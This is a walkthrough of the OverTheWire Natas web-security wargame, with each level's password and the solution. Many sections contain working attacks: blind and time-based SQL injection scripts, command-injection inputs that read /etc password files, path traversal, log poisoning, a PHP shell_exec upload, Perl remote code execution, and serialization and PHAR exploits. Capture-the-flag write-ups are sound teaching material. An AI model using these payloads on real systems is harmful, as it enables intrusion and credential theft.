Natas:

By Sahil

Objective: The primary objective of Natas, a wargame developed by OverTheWire, is to teach and practice server-side web security concepts. This is achieved through a series of challenges, or The game focuses on hands-on learning of concepts like SQL injection, XSS, and authentication bypass.

Learning objectives:
Basic webpage source code accessing, python scripts, burpsuite, PHP, perl, PHAR

Natas solutions:

Natas1:
URL: http://natas1.natas.labs.overthewire.org
Credentials : *natas1:gtVrDuiDfck831PqWsLEZy5gyDz1clto*

In this level the right click has been blocked, but to display the source you can simply use the browser shortcut to display the code. As I'm using Chrome it's Option+Command+U.

Password:*ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi*

Natas2:
URL : http://natas2.natas.labs.overthewire.org
Credentials : *natas2:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi* If you check the source, you will see a link to an image file :

Just remove the filename and check http://natas2.natas.labs.overthewire.org/files/ to get the directory contents. You'll find the password in the **users.txt** file.

Password:*sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14*

Natas3:
URL: http://natas3.natas.labs.overthewire.org
Credentials : *natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14*

In practice, **robots.txt** files indicate whether certain user agents can or cannot crawl parts of a website. Nowadays, it exists on most of the websites.

Let'scheckthe *robots.txt* fileonthispage(http://natas3.natas.labs.overthewire.org/robots.txt), you'll find the folder containing the password

Password: *Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ*

Natas4:
URL: http://natas4.natas.labs.overthewire.org
Credentials : *natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ*

When you try to login, you get an error message:

You can solve this one by changing the *referer* of the request with a simple Python script:

import requests import requests url =

"http://natas4.natas.labs.overthewire.org/" referer =

"http://natas5.natas.labs.overthewire.org/" s =

requests.Session()

s.auth = ('natas4', 'Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ')

s.headers.update({'referer': referer})

r = s.get(url) print(r.text)

Natas5:

URL: http://natas5.natas.labs.overthewire.org
Credentials : *natas5:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq*

When we try to login, we get an error message

Let's check the headers of the HTTP response with Python

import requests url =

"http://natas5.natas.labs.overthewire.org/" s =

requests.Session()

s.auth = ('natas5', 'iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq')

r = s.get(url) print(r.headers)

As we can see we got a cookie **'Set-Cookie': 'loggedin=0'**. We can try to modify it with the value **1** and refresh the page. This can be done directly in **Chrome** by using the *Javascript Console*.

Password: *aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1*

Natas6:

URL: http://natas6.natas.labs.overthewire.org
Credentials : *natas6:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1*

In this level, we need to enter a *secret* to get the solution. If we check the source, we obtain the PHP code:

By reading the code you can see that there is an included file (include "includes/secret.inc";), let's try to access it

if you enter the secret, you'll be able to get the password for the following level :

Natas7:

URL: http://natas7.natas.labs.overthewire.org
Credentials : *natas7:7z3hEENjQtflzgnT29q7wAvMNfZdh0i9*

In this level, we get 2 links to random pages. If you check the URL, you can see that the *index.php* takes the page name as variable.

We know that the password for **natas8** should be in **/etc/natas_webpass/natas8** so, we could try a path traversal to find the password :

http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../../../../../../etc/natas_webpass/natas8 password:

DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe **Natas8:**

URL: http://natas8.natas.labs.overthewire.org
Credentials : *natas8:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe*

In this level, we have the PHP code

Here, your input should be equal to **3d3d516343746d4d6d6c315669563362**, but it is modified by the *encodeSecret()* function.

We just need to reverse it to obtain the right secret. Here is the Python script :

import base64 secret =

"3d3d516343746d4d6d6c315669563362" secret =

bytes.fromhex(secret) secret = secret[::-1]

secret = base64.decodebytes(secret) print(secret)

# Result = oubWYf2kBq

Now, if you enter the secret you should get the password for the next level :

Password: *W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl*

Natas9:

URL: http://natas9.natas.labs.overthewire.org
Credentials : *natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl*

In this level, we got the PHP code

By reading the code, we can tell that there is a potential command injection.

So if we enter ; cat /etc/natas_webpass/natas10 in the search field, we will get the password. That's due to the fact that the ; token separates commands in a shell.

Password: *nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu*

Natas10

URL: http://natas10.natas.labs.overthewire.org
Credentials : *natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu*

In this level, we got the PHP code

This one is quite similar to the previous one however, we got some restriction on the characters. But, we could try to read all the files of a directory using the following input : .* /etc/natas_webpass/natas11

Password: *U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK* **Natas11:**

URL: http://natas11.natas.labs.overthewire.org
Credentials : *natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK*

In this level, we got the PHP code

In this challenge, the code seems to add the color of the background into our cookie. Also, the cookie contains the field *showpassword* set to **no**. If we modify the value to **yes** we'll get the value of the password. However, we don't have the key for the *xor_encrypt()* function.

Luckily, as the algorithm used is **XOR** and we know the plaintext and ciphertext values of the cookie we can recover the key. This is due to the fact that ciphertext XOR plaintext = key, it's called knownplaintext attack. Let's write a quick Python script to get the secret key.

```
import base64 import json ciphertext =

b"ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=" ciphertext =

base64.decodebytes(ciphertext) plaintext = {"showpassword":"no", "bgcolor":"#ffffff"}

# Here, we remove the space as JSON implementation in Python is different from PHP

plaintext = json.dumps(plaintext).encode('utf-8').replace(b" ", b"") def

xor_decrypt(plaintext, ciphertext):

  secret = ""     for x in

range(len(plaintext)):

    secret += str(chr(ciphertext[x] ^ plaintext[x % len(plaintext)]))

return secret secret = xor_decrypt(ciphertext, plaintext)

print(secret)

# Result = qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
```

now we need to encode the new cookie with **yes** as value for *showpassword*.

edit our cookie in the browser using the Javascript console

```
document.cookie="data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK"
```

password: *EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3* **Natas12:**

URL: http://natas12.natas.labs.overthewire.org
Credentials : *natas12:EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3* In this level, we got the PHP code:

it is a simple file upload vulnerability. If we upload a simple PHP file We should be able to get the password for the next level. However, if you take a look at the HTML code The extension of the file if modified on the client side. If we want to keep the “.php” extension, we need to intercept the upload request and modify the extension to *.php*, it can be done using a proxy like *Burp* you can browse the link returned by the server and get the password password: *jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY*

Natas13:

URL: http://natas13.natas.labs.overthewire.org
Credentials : *natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY*

This one is similar to the previous one, however this time the developer check if the file is an image file. We can try to bypass it by using the magic number of a bitmap file, **BMP**, and prepend it to our PHP code

Then we use the same trick as before to modify the file extension in **Burp**. you can browse the link returned by the server and get the password Password: *Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1*

Natas14:

URL: http://natas14.natas.labs.overthewire.org
Credentials : *natas14: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1*

Here we got an SQL Injection, if you check the query you can see that we can easily bypass the authentication

If we put **" OR 1=1#** into the username field, you can see that we succesfully take over the logic of the query and force it to return *true* (the **#** will make sure that remaining of the query will be passed as comment)

You will get the password

Password:

Natas15: *AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J*

URL: http://natas15.natas.labs.overthewire.org
Credentials : *natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J*

This one looks tricky because the only answers we'll get from this page are :

- "This user doesn't exist"
- "This user exists".

However, there is an SQL injection in the **username** field, but it's a blind one. We only get true/false answers. We just nee to find a way to forge a query that will answer to questions like *"Does the password for natas16 starts with 'a' ?"* and get the results.

Here we just check the **natas16** username as it exists in the database and add some statements by passing a double-quote after the username.

The statements LIKE BINARY "x%" means that we want to check if the password start with **x** and we make that query case sensitive by using the **BINARY** statement.

Now, if it does start with "x", we'll get a "This user exists" in the page, if it doesn't we'll get a "This user doesn't exist".

Now, as it will take forever to do that manually, we'll need a script

```
import requests import sys from string import digits,

ascii_lowercase, ascii_uppercase url =

"http://natas15.natas.labs.overthewire.org/" charset =

ascii_lowercase + ascii_uppercase + digits sqli = 'natas16"

AND password LIKE BINARY "' s = requests.Session()

s.auth = ('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J') password

= ""

# We assume that the password is 32 chars  while

len(password) < 32:


    for char in charset:

        r = s.post('http://natas15.natas.labs.overthewire.org/', data={'username':sqli + password + char
+ "%"})        if "This user exists"

in r.text:

            sys.stdout.write(char)

sys.stdout.flush()

password += char            break
```

you will get the password password:

WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

Natas16:

URL: http://natas16.natas.labs.overthewire.org
Credentials : *natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh*

Here, we have a search field used to find words containing a pattern we can specify. We also have a filter on certain characters. However, we still can inject command. The $, (,) are not filtered so we can use **$()** as command substitution.

Still, I discoverd that we could not directly read the file with the command substitution but, we could have boolean answer from the script! We just need to solve it the same way we did with the previous blind SQL Injection.

Here is how it works :

- If you submit a random letter in the search field you'll get a result
- If you submit an empty field you get nothing

So, if you inject $(grep -E ^x.* /etc/natas_webpass/natas17):

- No results = **True** (the password starts with **x**)
- Results = **False** (the password does note starts with **x**)

Using a simple Python scripts to solve this one. I used the page size as an indicator of true/false.

you will get the password

password: *8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw*

Natas17:

URL: http://natas17.natas.labs.overthewire.org
Credentials : *natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw*

Another SQL Injection and this one does not return anything. We will use the same technique used with the previous SQLi Blind however, this time we will use *time* as an indicator of true/false.

I just modified the script to append the SLEEP statement in the injection. Now, if the query timeout, it means it's **true**.

You will get the password

Password: *xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP*

Natas18:

URL: http://natas18.natas.labs.overthewire.org
Credentials : *natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP*

The code looks complex but it’s not. Basically, we just need to bruteforce the **PHPSESSID** of the admin which is a value between `$maxid` 0 and 640 ().

```
import requests url =

"http://natas18.natas.labs.overthewire.org" url2 =

"http://natas18.natas.labs.overthewire.org/index.php" s =

requests.Session()

s.auth = ('natas18', 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP')

r = s.get(url) for x

in range(640):

  cookies = dict(PHPSESSID=str(x))

r = s.get(url2, cookies=cookies)


  if "Login as an admin to retrieve" in r.text:

    pass

else:

    print(r.text)

break
```

You will get the password

Password: *4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs*

Natas19:

URL: http://natas19.natas.labs.overthewire.org
Credentials : *natas19:4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs*

we don’t have the source code but the challeng says : *“This page uses mostly the same code as the previous level, but session IDs are no longer sequential…“*. Let’s take a look at our cookie

As per the challenge instruction, I just slightly modified my previous code to match the new cookie format run the script you will get the results password: *eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF* **Natas20:**

URL: http://natas20.natas.labs.overthewire.org
Credentials : *natas20:eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF*
Here we got lots of code but, let me simplify that for you. First, because of the debug($msg) function, we can get more details about the management of the sessions.

For exemple, if you enter *natas* in the **name** field, submit it and change your URL with http://natas20.natas.labs.overthewire.org/index.php?debug you should get debug information : we need the following conditions to get the password :

```
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)
```

the *mywrite()* function is faulty, check this extract :

```
foreach($_SESSION as $key => $value) {

debug("$key => $value");

    $data .= "$key $value\n";

  }
```

it is writing each *$key* and *$value* pair with a new line. So, as we need a key/value pair of **admin:1**, we could inject our username followed by a new line character and the **admin:1**.

Here, we just need to send the following URL :

http://natas20.natas.labs.overthewire.org/index.php?debug&name=admin%0Aadmin%201

youll get the password password:

IFekPyrQXftziDEsUr3x21sYuahypdgJ

Natas21:

URL: http://natas21.natas.labs.overthewire.org
Credentials : *natas21:IFekPyrQXftziDEsUr3x21sYuahypdgJ*

here we have 2 sites, but it seems that we can use the cookie we will obtain on both of them. On the first website, http://natas21.natas.labs.overthewire.org/, we just have a simple cookie check with the following condition :

```
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)
```

on the second one, it seems that we can *forge* a cookie. Here, the vulnerable part of the code is the following one :

```
if(array_key_exists("submit", $_REQUEST)) {

    foreach($_REQUEST as $key => $val) {

    $_SESSION[$key] = $val;

    }

}
```

As we need a key/value pair of **admin/1** to get the password, we just need to inject it into the URL to forge a proper cookie.

First we need to inject the key/value pair with the following query :

http://natas21-experimenter.natas.labs.overthewire.org?submit&admin=1

Then, we get the *PHPSESSID* and use it on the first website. I used **Burp** to do that :

You will get the password

Password: *chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ*

Natas22:

URL: http://natas22.natas.labs.overthewire.org
Credentials : *natas22:chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ*

We have an empty page but, when you look at the source it looks fairly easy. We just need to add the **revelio** parameter to the query. Let's start *Burp* and check that out! Here, I just added ?revelio=1to the query :

You will get the password

Password: *D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE*

Natas23:

URL: http://natas23.natas.labs.overthewire.org
Credentials : *natas23:D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE*
the source is simple enough. The *strstr()* function compare the string iloveyou with our input and check if the string is larger than int(10).

after looking at the PHP documentation it seems that *strstr()* "Find the first occurrence of a string", so the string does not need to be equals to **iloveyou**, it justs need to be present into the string. Then, to bypass the second part of the string, I just added some number in front of the string, like that : **123iloveyou**.

You will get the password

Password: *OsRmXFguozKpTZZ5X14zNO43379LZveg*

Natas 24:

URL: http://natas24.natas.labs.overthewire.org
Credentials : *natas24:OsRmXFguozKpTZZ5X14zNO43379LZveg*

here we just have a password field. We need to have a valid comparison for the *strcmp()*. As per the PHP documentation, it will returns zero when the strings are equal. However, if we send the same request with an array to compare to, *strcmp()* will gives a warning because it expected to have a string but, it will return 0 !

Let's try the following request :

http://natas24.natas.labs.overthewire.org/?passwd[]=0

you will get the error and password password:

GHF6X7YwACaYYssHVY05cFq83hRktl4c

Natas25:

URL: http://natas25.natas.labs.overthewire.org
Credentials : *natas25:GHF6X7YwACaYYssHVY05cFq83hRktl4c*

the path traversal check is vulnerable $filename=str_replace("../","",$filename); will remove the ../. But, if you enter .../...//, it will remove two ../ but leave one ../. So, we can inject a path into the *lang* parameter.

Second, the line $log=$log . " " . $_SERVER['HTTP_USER_AGENT']; is vulnerable, because we can inject code into our user agent.

Third, the line $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a"); tells us what would be the filename of our log on the server.

Now, the exploit, 3 steps :

- Get our *session_id()* (**Burp** will do the trick)
- Retreive our log file by injecting the path of the password into the *lang* parameter
- Inject <?php include '/etc/natas_webpass/natas26'; ?> into the **User-Agent** You will get the password

Password: *oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T*

Natas26:

URL: http://natas26.natas.labs.overthewire.org
Credentials : *natas26:oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T*

we got some kind of line drawing application. If you check the source, look at all those *unserialize()* functions. It’s definitly an exploit based on serialization. But where ? Well, if you take a closer look, you can see that the *Logger* class exists but is not used anywhere and we control the **drawing** cookie. try to unserialize the *drawing* cookie :

```
$ php unserial.php

Array

(

  [0] => Array
```

```
        (

            [x1] => 123

            [y1] => 321

            [x2] => 50

            [y2] => 60

        )

)
```

As you can see, it represents the unserialized object of our drawing. Now, let's try to serialized a custom instance of the **Logger** class to read the password. I used the **img** to write the password as it is readable/writable. Execute it

```
$ php natas26.php
```

Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMDoiaW1nL2F4LnBocCI7czoxN
ToiAExvZ2dlcgBpbml0TXNnIjtzOjc6ImZvb2JhcgoiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo2MToiP
D9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTs/
PiI7fQ==

replay the forged **drawing** cookie with *Burp*. Don't forget to urlencode the **/** and **=**.

access the file you just created you will get the

password password:

55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ

Natas27:

URL: http://natas27.natas.labs.overthewire.org
Credentials : *natas27:55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ*

this code will check if the user exists in the database and if you got the right password, it will display the password. If the user does not exists, it will be created in the database.

If you try to login with the user **natas28** you'll an error

It means that the user exists. So, we need to find a way to obtains the password

If you create a user like **user** and a random password and create another user named **user** with enough space after the username to exceed the size of the SQL field and a random trailing characters and an empty password it will still get created. That due to the fact that MySQL will truncate the input to match the maximum field size.

Then if you try to login with the **user** username and an empty password you'll get the password! So, theorycally, if you create the following user with an empty password (note the character at the end of the string):

Natas28

Then, try to login with **natas28** without password, you'll get the flag and the password

Password: *JWwR438wkgTsNKBbcJoowyysdM82YjeF*

Natas28:

URL: http://natas28.natas.labs.overthewire.org
Credentials : *natas28:JWwR438wkgTsNKBbcJoowyysdM82YjeF*

In this challenge we don't get the source code. After some test, I tried to mess with the *query* variable by removing some characters and got an error

Now

- We will generate a baseline by sending a query with **10** spaces
- We will send the SQLi prepended by **9** spaces and a **quote*
- We will compute the number of blocks containing our SQLi
- Then we forge a ciphertext using our baseline (empty string), the SQLi and the footer

of the baseline Now, the script : import requests import urllib import base64 url =

"http://natas28.natas.labs.overthewire.org" s = requests.Session()

s.auth = ('natas28', 'JWwR438wkgTsNKBbcJoowyysdM82YjeF')

# First we generate a baseline for the header/footer data =

{'query':10 * ' '} r = s.post(url, data=data) baseline =

urllib.parse.unquote(r.url.split('=')[1]) baseline =

```
base64.b64decode(baseline.encode('utf-8')) header =

baseline[:48] footer = baseline[48:]


# We generate the ciphertext query and parse the result sqli = 9 * " "

+ "' UNION ALL SELECT password FROM users;#" data = {'query':sqli}

r = s.post(url, data=data) exploit =

urllib.parse.unquote(r.url.split('=')[1]) exploit =

base64.b64decode(exploit.encode('utf-8')) # We computer the size

of our payload nblocks = len(sqli) - 10 while nblocks % 16 != 0:

nblocks += 1  nblocks = int(nblocks / 16) # Then, we forge the query

final = header + exploit[48:(48 + 16 * nblocks)] + footer

final_ciphertext = base64.b64encode(final) search_url =

"http://natas28.natas.labs.overthewire.org/search.php" resp =

s.get(search_url, params={"query":final_ciphertext}) print(resp.text)
```

you will get the password password:

airooCaiseiyee8he8xongien9euhe8b

Natas29:

URL: http://natas29.natas.labs.overthewire.org
Credentials : *natas29:airooCaiseiyee8he8xongien9euhe8b*

In this challenge we got a page that display a large dump of text depending on what you choose on the dropdown. The interesting part is in the URL :

http://natas29.natas.labs.overthewire.org/index.pl?file=perl+underground

It seems that a Perl script take a file name as an argument… let’s try to inject the following command :

http://natas29.natas.labs.overthewire.org/index.pl?file=|ls%00

Ok, so it's a command injection. You can see the file listing at the bottom of the page. Note, that I used the pipe character to concat a command to the script. get the code of the index.pl with the following injection :

http://natas29.natas.labs.overthewire.org/index.pl?file=|cat+index.pl%00

After some cleanup you can see, if we try to read the password for the next level you won't get it as the code filter the keyword **natas**. However, by injecting the following command I managed to get the password

http://natas29.natas.labs.overthewire.org/index.pl?file=|cat+/etc/na%22%22tas_webpass/nat%22%22as30%00 password:

wie9iexae0Daihohv8vuu3cei9wahf0e

Natas30:

URL: http://natas30.natas.labs.overthewire.org
Credentials : *natas30:wie9iexae0Daihohv8vuu3cei9wahf0e*

we got some *Perl* code that seems to connect to a database. It looks like a SQL Injection however, we need to find a way to bypass the *quote()* method. As per the documentation *quote()* escape any special characters (such as quotation marks) contained within the string.

Luckily, the *quote()* method is vulnerable to array injection. If you pass an array into this method, it will be treated as parameters. We'll need to write a Python script to inject an array.

import requests url =

"http://natas30.natas.labs.overthewire.org/index.pl" s =

requests.Session()

s.auth = ('natas30', 'wie9iexae0Daihohv8vuu3cei9wahf0e') args

= { "username": "natas31", "password": ["'' or 1", 2] } r =

s.post(url, data=args) print (r.text)

you will get the password password:

hay7aecuungiuKaezuathuk9biin0pu1

Natas31:

URL: http://natas31.natas.labs.overthewire.org
Credentials : *natas31:hay7aecuungiuKaezuathuk9biin0pu1*

This script will let you upload a *.csv* and parse it into a nice table. It took me while to find the proper way to exploit this flaw, but I came across the following research The Perl Jam 2.

In the context of the script if filename = **ARGV** the following line while (<$file>) will loop through the *argument* passed to the script inserting each one to an *open()* call, it means remote code execution !

To execute code, instead of sending **POST /index.pl**, we will send **POST /index.pl?|<command>|**. We need to append a **|** at the end to make sure the argument is interpreted as a command.

We also, need to add the following block to the header of the **Submit** query

------WebKitFormBoundaryTB4tvLNySo6uAxMy

Content-Disposition: form-data; name="file";

Content-Type: text/plain

ARGV

You will get the password

Password: *no1vohsheCaiv3ieH4em1ahchisainge*

Natas32:

URL: http://natas32.natas.labs.overthewire.org
Credentials : *natas32:no1vohsheCaiv3ieH4em1ahchisainge*

he code is exactly the same as the previous challenge so, we'll use the same exploit. However, we need to find a binary in the **webroot** and execute it to get the password. First we need to send the following query to list the files in the **webroot** :

POST /index.pl?/bin/ls%20-al%20.%20|

getpassword executable seems to be the right one. Let's try the following query :

POST /index.pl?./getpassword%20|

Password: *shoogeiGa2yee3de6Aex8uaXeech5eey*

Natas33:

URL: http://natas33.natas.labs.overthewire.org
Credentials : *natas33:shoogeiGa2yee3de6Aex8uaXeech5eey*

The goal here is to upload a file that will be executed on the server if the **MD5** checksum matches the following value : **adeafbadbabec0dedabada55ba55d00d**.

I uploaded a standard PHP file to read the password :

```
<?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?>
```

I intercepted the submit request to rename it with the name pwn.php. Then, I built a custom Phar archive with the following code :

```
<?php   class Executor {                         private

$filename = "pwn.php";

    private $signature = True;

    private $init = false;

        }

        $phar = new Phar("test.phar");

        $phar->startBuffering();

        $phar->addFromString("test.txt", 'test');

        $phar->setStub("<?php __HALT_COMPILER(); ?>");

        $o = new Executor();

        $phar->setMetadata($o);
        $phar->stopBuffering();

?>
```

In this code, I modified the filename attribute to pwn.php and the signature attribute to True. By doing that the MD5 comparison will always be true then, the passthru() function will execute the pwn.php :

```
if(md5_file("pwn.php") == True){     echo "Congratulations! Running

firmware update: pwn.php <br>";     passthru("php " . "pwn.php");

}
```

First, let's upload the PHP file and remame it using Burp

Then, upload the generated Phar archive and rename it

Finally send the previous request to the Burp's Repeater tool and modify the filename to **phar://test.phar/test.txt** to force the *md5_file()* function to interpret the Phar archive.

You will get the password

Password: *shu5ouSu6eicielahhae0mohd4ui5uig*

Natas34:

URL: http://natas34.natas.labs.overthewire.org **Credentials**

: *natas34:shu5ouSu6eicielahhae0mohd4ui5uig* Nothing to

do here.